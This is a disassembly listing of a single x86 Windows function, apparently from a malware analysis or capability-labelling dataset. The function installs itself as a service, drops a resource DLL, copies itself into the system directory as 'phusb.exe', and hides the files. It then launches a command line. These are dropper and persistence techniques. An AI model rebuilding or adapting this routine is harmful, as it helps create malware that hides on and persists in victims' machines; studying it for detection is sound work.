Function at 0x401bf0
Capabilities:
Check mutex on windows
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x968
push edi
call fcn.00401040
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.004014d0
add esp, 4
cmp dword [ebp - 4], 0
je 0x401c6a
call fcn.00401770
test eax, eax
je 0x401c6a
push str.start_Service_Main_Function_
call fcn.00403140
add esp, 4
mov dword [ebp - 0x14], 0x404340
mov dword [ebp - 0x10], 0x401b60
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x401c65
push str.Register_Service_Main_Function_Error_
call fcn.00403140
add esp, 4
jmp 0x401fb9
push 0x404598
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 0
jne 0x401c96
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 5
jne 0x401caf
mov edx, dword [ebp - 0x544]
push edx
push 0x40457c
call fcn.00403140
add esp, 8
call fcn.00401180
push 0x401220
call dword [sym.imp.KERNEL32.DLL_SetUnhandledExceptionFilter]
push 0x104
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [ebp - 0x438]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push str._scmd.exe
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov byte [ebp - 0x330], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x32f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x404564
lea ecx, [ebp - 0x120]
push ecx
push str._s_s
lea edx, [ebp - 0x330]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov byte [ebp - 0x228], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x227]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x404564
lea eax, [ebp - 0x438]
push eax
push 0x404554
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push str.phusb.exe
lea edx, [ebp - 0x120]
push edx
push str._s_s
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
lea ecx, [ebp - 0x650]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [ebp - 0x650]
push edx
lea eax, [ebp - 0x758]
push eax
call sub.msvcrt.dll__stricmp
add esp, 8
test eax, eax
je 0x401f23
call fcn.004010b0
push 0x80
lea ecx, [ebp - 0x330]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0
lea edx, [ebp - 0x330]
push edx
push 0x404200
push 0x4041f8
call fcn.004033d0
add esp, 0x10
test eax, eax
jne 0x401e12
lea eax, [ebp - 0x330]
push eax
push str.LoadResByName_szDllPath:_s_failed
call fcn.00403140
add esp, 8
xor eax, eax
jmp 0x401fbb
lea ecx, [ebp - 0x330]
push ecx
push str.LoadResByName_szDllPath:_s_success
call fcn.00403140
add esp, 8
push 6
lea edx, [ebp - 0x330]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x330]
push eax
lea ecx, [ebp - 0x540]
push ecx
call fcn.00402a00
add esp, 8
lea edx, [ebp - 0x758]
push edx
lea eax, [ebp - 0x540]
push eax
call fcn.00402a00
add esp, 8
push 0x80
lea ecx, [ebp - 0x758]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0xb
lea edx, [ebp - 0x758]
push edx
lea eax, [ebp - 0x650]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
test eax, eax
jne 0x401ea8
lea ecx, [ebp - 0x758]
push ecx
lea edx, [ebp - 0x650]
push edx
push str.MoveFileEx_from__s_to__s
call fcn.00403140
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.DLL_SetLastError]
push 6
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov byte [ebp - 0x860], 0
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x85f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x650]
push ecx
lea edx, [ebp - 0x758]
push edx
push str.__s___s
lea eax, [ebp - 0x860]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x860]
push ecx
push str.cmdline:_s
call fcn.00403140
add esp, 8
lea edx, [ebp - 0x860]
push edx
call fcn.00402b20
add esp, 4
jmp 0x401fb9
call fcn.004028a0
test eax, eax
je 0x401f9b
push str.at_terminate_start.
call fcn.00403140
add esp, 4
mov eax, dword [ebp + 0x10]
push eax
call fcn.004019a0
add esp, 4
push 0x104
lea ecx, [ebp - 0x968]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
lea edx, [ebp - 0x968]
push edx
call fcn.00401240
add esp, 8
test eax, eax
jne 0x401f7b
push str._InstallService_Faild_
call fcn.00403140
add esp, 4
push 0x404340
call fcn.00401800
add esp, 4
test eax, eax
jne 0x401f99
push str._Start_Service_Faild_
call fcn.00403140
add esp, 4
jmp 0x401fb4
push str.at_console_start.
call fcn.00403140
add esp, 4
mov eax, dword [ebp + 0x10]
push eax
call fcn.004018d0
add esp, 4
or eax, 0xffffffff
jmp 0x401fbb
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10